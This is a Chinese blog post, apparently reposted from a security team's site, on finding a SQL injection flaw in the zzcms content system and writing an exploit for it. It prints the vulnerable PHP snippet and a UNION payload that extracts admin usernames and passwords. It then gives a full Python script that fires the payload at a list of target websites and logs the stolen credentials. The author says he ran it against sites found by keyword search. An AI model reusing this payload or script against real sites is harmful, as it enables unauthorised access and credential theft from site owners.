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前言: 今天无聊想找个cms来白盒审计一下 练练手
于是就跑去站长之家看了一下
轻量级的那么就是他了
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白盒审计
下载下来安装后 直接扔进法师大牛的源代码审计系统
很快就定位到一个文件的一段sql代码
文件位置:zs/contrast.php
代码片段:
$id=''; if(!empty($_POST['id'])){ for($i=0; $i<count($_POST['id']);$i++){ $id=$id.($_POST['id'][$i].','); } $id=substr($id,0,strlen($id)-1); } $sql="select * from zzcms_main where id in ($id)" ; $rs=mysql_query($sql);
这段代码讲人话就是把POST过来的id字段一个字一个字分开然后用”,”连接(我也不知道为什么这个程序员把”.=”写成了”=” 导致了”123”变成”1,” 原本应为”1,2,3,”)去掉最后的”,”后不经过任何过滤扔进sql语句里
其实绕过这个substr很简单 只需要提交的时候加一个数组的下标就可以了
例如
绕过了后很容易写出爆管理员用户名密码的exp
id[0]=1)union select 1,CONCAT(0x73,0x71,0x6c,0x49,0x6e,0x6a,0x65,0x63,0x74,0x46,0x6c,0x61,0x67,0x5b,0x23,admin,0x7c,pass,0x23,0x5d,0x73,0x71,0x6c,0x49,0x6e,0x6a,0x65,0x63,0x74,0x46,0x6c,0x61,0x67),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, NULL,1,1,1,1,1,1,1,1,1,1,1,1, NULL,1,1,1,1,1,1,1 from zzcms_admin#
‘sqlInjectFlag[#’和’#]sqlInjectFlag’是为了编写exp时好匹配用的一个Flag
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EXP编写
首先导入要用的模块
import requests #http请求模块 import re #正则匹配模块 from lxml import etree #XPATH(用来解析html)模块
写文件函数(我也不知道为什么我每个脚本都写这个函数)
def opt2File(str): try: f = open('result.txt','a') f.write(str + '\n') finally: f.close()
跑exp的函数
def runSqlInjectExp(website): sqlInjectExp = { u'id[0]' : u"1) union select 1, CONCAT(0x73,0x71,0x6c,0x49,0x6e,0x6a,0x65,0x63,0x74,0x46,0x6c,0x61,0x67,0x5b,0x23,admin,0x7c, pass,0x23,0x5d,0x73,0x71,0x6c,0x49,0x6e,0x6a,0x65,0x63,0x74,0x46,0x6c,0x61,0x67),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, NULL, 1,1,1,1,1,1,1,1,1,1,1,1, NULL,1,1,1,1,1,1,1 from zzcms_admin#" } } if website is None: return if u'http://' not in website: website = u'http://' + website try: requests.get(website,timeout=5) except: print u'Failed to visit the ' + website + '\n' return try: r = requests.post(website + u'/zs/contrast.php',data=sqlInjectExp,timeout=5) htmlObj = r.text.encode('utf-8') htmlTree = etree.HTML(htmlObj) trData = htmlTree.xpath("//body/table[1]/tr[2]/td") sqlInjectResult = [] for n in trData: reResult = re.match(r'sqlInjectFlag\[#([\s\S]*?)#\]sqlInjectFlag',n.text.encode('utf-8')) if reResult is not None: opt2File(website) opt2File(' ' + reResult.group(1)) sqlInjectResult.append(reResult.group(1)) if sqlInjectResult: str = '' for result in sqlInjectResult: str += result + u' ' print target print str except: print u'Failed to inject the ' + website + '\n' return
完整代码
#!/usr/bin/python # -*- coding: utf-8 -*- import requests import re from lxml import etree def opt2File(str): try: f = open('result.txt','a') f.write(str + '\n') finally: f.close() def runSqlInjectExp(website): sqlInjectExp = { u'id[0]' : u"1) union select 1, CONCAT(0x73,0x71,0x6c,0x49,0x6e,0x6a,0x65,0x63,0x74,0x46,0x6c,0x61,0x67,0x5b,0x23,admin,0x7c,pass,0x23,0x5d,0x73,0x71,0x6c,0x49,0x6e,0x6a,0x65,0x63,0x74,0x46,0x6c,0x61,0x67),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, NULL,1,1,1,1,1,1,1,1,1,1,1,1, NULL,1,1,1,1,1,1,1 from zzcms_admin#" } if website is None: return if u'http://' not in website: website = u'http://' + website try: requests.get(website,timeout=5) except: print u'Failed to visit the ' + website + '\n' return try: r = requests.post(website + u'/zs/contrast.php',data=sqlInjectExp,timeout=5) htmlObj = r.text.encode('utf-8') htmlTree = etree.HTML(htmlObj) trData = htmlTree.xpath("//body/table[1]/tr[2]/td") sqlInjectResult = [] for n in trData: reResult = re.match(r'sqlInjectFlag\[#([\s\S]*?)#\]sqlInjectFlag',n.text.encode('utf-8')) if reResult is not None: opt2File(website) opt2File(' ' + reResult.group(1)) sqlInjectResult.append(reResult.group(1)) if sqlInjectResult: str = '' for result in sqlInjectResult: str += result + u' ' print target print str except: print u'Failed to inject the ' + website + '\n' return targets = [ 'http://baidu.com/' #target列表 ] for target in targets: runSqlInjectExp(target)
用关键词爬了点target出来试了一下
还是那句
没啥技术含量 那你倒是来喷我呀
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?原文转自 : 奶权@米斯特安全团队
转载请注明:即刻安全 » Python系列之——zzcms漏洞挖掘到exp编写